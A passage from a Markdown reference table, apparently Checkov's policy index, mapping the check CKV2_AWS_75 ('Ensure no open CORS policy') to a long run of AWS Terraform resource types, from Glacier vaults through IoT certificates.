[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2773 | CKV2_AWS_75 | resource | aws_glacier_vault | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2774 | CKV2_AWS_75 | resource | aws_glacier_vault_lock | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2775 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2776 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2777 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2778 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2779 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2780 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2781 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2782 | CKV2_AWS_75 | resource | aws_glue_catalog_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2783 | CKV2_AWS_75 | resource | aws_glue_catalog_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2784 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2785 | CKV2_AWS_75 | resource | aws_glue_classifier | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2786 | CKV2_AWS_75 | resource | aws_glue_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2787 | CKV2_AWS_75 | resource | aws_glue_crawler | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2788 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2789 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2790 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2791 | CKV2_AWS_75 | resource | aws_glue_job | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2792 | CKV2_AWS_75 | resource | aws_glue_ml_transform | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2793 | CKV2_AWS_75 | resource | aws_glue_partition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2794 | CKV2_AWS_75 | resource | aws_glue_partition_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2795 | CKV2_AWS_75 | resource | aws_glue_registry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2796 | CKV2_AWS_75 | resource | aws_glue_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2797 | CKV2_AWS_75 | resource | aws_glue_schema | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2798 | CKV2_AWS_75 | resource | aws_glue_security_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2799 | CKV2_AWS_75 | resource | aws_glue_trigger | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2800 | CKV2_AWS_75 | resource | aws_glue_user_defined_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2801 | CKV2_AWS_75 | resource | aws_glue_workflow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2802 | CKV2_AWS_75 | resource | aws_grafana_license_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2803 | CKV2_AWS_75 | resource | aws_grafana_role_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2804 | CKV2_AWS_75 | resource | aws_grafana_workspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2805 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2806 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2807 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2808 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2809 | CKV2_AWS_75 | resource | aws_guardduty_detector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2810 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2811 | CKV2_AWS_75 | resource | aws_guardduty_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2812 | CKV2_AWS_75 | resource | aws_guardduty_invite_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2813 | CKV2_AWS_75 | resource | aws_guardduty_ipset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2814 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2815 | CKV2_AWS_75 | resource | aws_guardduty_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2816 | CKV2_AWS_75 | resource | aws_guardduty_member_detector_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2817 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2818 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2819 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2820 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2821 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2822 | CKV2_AWS_75 | resource | aws_iam_access_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2823 | CKV2_AWS_75 | resource | aws_iam_account_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2824 | CKV2_AWS_75 | resource | aws_iam_account_password_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2825 | CKV2_AWS_75 | resource | aws_iam_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2826 | CKV2_AWS_75 | resource | aws_iam_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2827 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2828 | CKV2_AWS_75 | resource | aws_iam_group_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2829 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2830 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2831 | CKV2_AWS_75 | resource | aws_iam_instance_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2832 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2833 | CKV2_AWS_75 | resource | aws_iam_organizations_features | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2834 | CKV2_AWS_75 | resource | aws_iam_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2835 | CKV2_AWS_75 | resource | aws_iam_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2836 | CKV2_AWS_75 | resource | aws_iam_policy_document | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2837 | CKV2_AWS_75 | resource | aws_iam_role | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2838 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2839 | CKV2_AWS_75 | resource | aws_iam_role_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2840 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2841 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2842 | CKV2_AWS_75 | resource | aws_iam_saml_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2843 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2844 | CKV2_AWS_75 | resource | aws_iam_server_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2845 | CKV2_AWS_75 | resource | aws_iam_service_linked_role | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2846 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2847 | CKV2_AWS_75 | resource | aws_iam_signing_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2848 | CKV2_AWS_75 | resource | aws_iam_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2849 | CKV2_AWS_75 | resource | aws_iam_user_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2850 | CKV2_AWS_75 | resource | aws_iam_user_login_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2851 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2852 | CKV2_AWS_75 | resource | aws_iam_user_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2853 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2854 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2855 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2856 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2857 | CKV2_AWS_75 | resource | aws_identitystore_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2858 | CKV2_AWS_75 | resource | aws_identitystore_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2859 | CKV2_AWS_75 | resource | aws_identitystore_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2860 | CKV2_AWS_75 | resource | aws_imagebuilder_component | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2861 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2862 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2863 | CKV2_AWS_75 | resource | aws_imagebuilder_image | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2864 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2865 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2866 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2867 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2868 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2869 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2870 | CKV2_AWS_75 | resource | aws_inspector2_enabler | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2871 | CKV2_AWS_75 | resource | aws_inspector2_member_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2872 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2873 | CKV2_AWS_75 | resource | aws_inspector_assessment_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2874 | CKV2_AWS_75 | resource | aws_inspector_assessment_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2875 | CKV2_AWS_75 | resource | aws_inspector_resource_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2876 | CKV2_AWS_75 | resource | aws_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2877 | CKV2_AWS_75 | resource | aws_internet_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2878 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2879 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2880 | CKV2_AWS_75 | resource | aws_iot_authorizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2881 | CKV2_AWS_75 | resource | aws_iot_billing_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2882 | CKV2_AWS_75 | resource | aws_iot_ca_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2883 | CKV2_AWS_75 | resource | aws_iot_certificate | Ensure no open CORS policy | Terraform | 